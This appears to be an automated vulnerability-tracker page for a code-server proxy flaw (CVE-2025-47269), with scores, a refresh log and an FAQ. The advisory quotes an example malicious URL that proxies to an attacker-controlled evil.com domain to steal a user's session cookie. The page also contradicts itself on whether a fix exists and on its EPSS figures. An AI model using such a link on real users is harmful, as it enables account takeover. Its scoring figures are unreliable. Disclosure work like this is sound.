CVE-2025-47269

HIGHNVD 8.38.4▲
EchelonGraph scoreHIGH confidence

Score elevated to 8.4 because EPSS predicts 36% probability of exploitation within the next 30 days (top 1.7% of all CVEs). NVD baseline CVSS 8.3 retained for reference. Confidence: see factors.

Triggered by: EPSS exploit prediction ≥85%
Sources: epss, nvd
Elevated
8.3
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 36%CVSS: 8.3Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https:///proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

CVSS v3
8.3
EG Score
8.4(high)
EG Risk
54(Track)
EG Risk 54/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity84% × 45%
Exploitation40% × 40%
Automatability0% × 15%
Action: Routine — remediate on your standard cadence.
EPSS
98.3%
KEV
Not listed

Published

May 9, 2025

Last Modified

April 15, 2026

References (3)

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFixed inDependents
code-server—4.99.4—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 10× in last 7d / 39× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 113 total refreshes for this CVE.

  1. 2026-07-23 02:56 UTCEG score recompute▲ 0.10
  2. 2026-07-22 14:07 UTCEPSS rescore
  3. 2026-07-22 14:07 UTCEPSS rescore
  4. 2026-07-21 15:24 UTCEPSS rescore
  5. 2026-07-20 17:07 UTCEPSS rescore
  6. 2026-07-19 02:28 UTCEPSS rescore
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  8. 2026-07-18 10:04 UTCEPSS rescore
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  11. 2026-07-15 16:57 UTCEPSS rescore
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  15. 2026-07-13 22:29 UTCEPSS rescore
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  17. 2026-07-13 06:12 UTCEPSS rescore
  18. 2026-07-12 05:46 UTCEPSS rescore
  19. 2026-07-11 08:27 UTCEPSS rescore
  20. 2026-07-11 08:27 UTCEPSS rescore
  21. 2026-07-10 13:11 UTCOSV refresh
  22. 2026-07-09 19:09 UTCEPSS rescore
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  24. 2026-07-08 15:15 UTCEPSS rescore
  25. 2026-07-07 13:45 UTCEPSS rescore
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  1. 2026-07-06 02:23 UTCEPSS rescore
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  3. 2026-07-04 06:30 UTCEPSS rescore
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  5. 2026-07-01 15:06 UTCEPSS rescore
  6. 2026-06-28 04:55 UTCEPSS rescore
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  8. 2026-06-27 03:08 UTCEPSS rescore
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  13. 2026-06-23 21:32 UTCEPSS rescore
  14. 2026-06-23 21:32 UTCEPSS rescore
  15. 2026-06-21 22:13 UTCOSV refresh
  16. 2026-06-21 01:59 UTCEPSS rescore
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  18. 2026-06-18 17:52 UTCEPSS rescore
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  24. 2026-06-15 17:48 UTCEPSS rescore
  25. 2026-06-14 23:17 UTCEPSS rescore
  26. 2026-06-13 23:00 UTCEPSS rescore
  27. 2026-06-12 23:11 UTCEPSS rescore
  28. 2026-06-11 14:00 UTCEPSS rescore
  29. 2026-06-11 14:00 UTCEPSS rescore
  30. 2026-06-10 22:18 UTCEPSS rescore
  31. 2026-06-10 22:18 UTCEPSS rescore
  32. 2026-06-10 13:22 UTCEPSS rescore
  33. 2026-06-08 14:16 UTCEPSS rescore
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  35. 2026-06-07 15:24 UTCEPSS rescore
  36. 2026-06-06 13:47 UTCEPSS rescore
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  38. 2026-06-05 22:46 UTCEPSS rescore
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  40. 2026-06-05 06:10 UTCEPSS rescore
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  42. 2026-06-04 13:12 UTCEPSS rescore
  43. 2026-06-04 13:12 UTCEPSS rescore
  44. 2026-06-03 08:10 UTCOSV refresh
  45. 2026-06-02 20:12 UTCEPSS rescore
  46. 2026-06-02 20:12 UTCEPSS rescore
  47. 2026-06-01 13:51 UTCEPSS rescore
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  49. 2026-05-31 22:30 UTCEPSS rescore
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  51. 2026-05-31 00:16 UTCEPSS rescore
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  53. 2026-05-29 13:44 UTCEPSS rescore
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  58. 2026-05-27 13:40 UTCEPSS rescore
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  66. 2026-05-26 07:18 UTCEPSS rescore
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  70. 2026-05-24 16:57 UTCEPSS rescore
  71. 2026-05-23 15:20 UTCEPSS rescore
  72. 2026-05-22 21:16 UTCEPSS rescore
  73. 2026-05-22 21:16 UTCEPSS rescore
  74. 2026-05-22 21:16 UTCEPSS rescore
  75. 2026-05-21 22:43 UTCEPSS rescore

Frequently asked(5)

What is CVE-2025-47269?
CVE-2025-47269 is a high vulnerability published on May 9, 2025. code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an…
When was CVE-2025-47269 disclosed?
CVE-2025-47269 was first published in the National Vulnerability Database on May 9, 2025, with the most recent update on April 15, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2025-47269 actively exploited?
CVE-2025-47269 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 98.3% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2025-47269?
CVE-2025-47269 has a CVSS v3 base score of 8.3 (NVD). EchelonGraph synthesises NVD + CISA KEV + FIRST EPSS + GHSA into a combined EG score of 8.4.
How do I remediate CVE-2025-47269?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2025-47269, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

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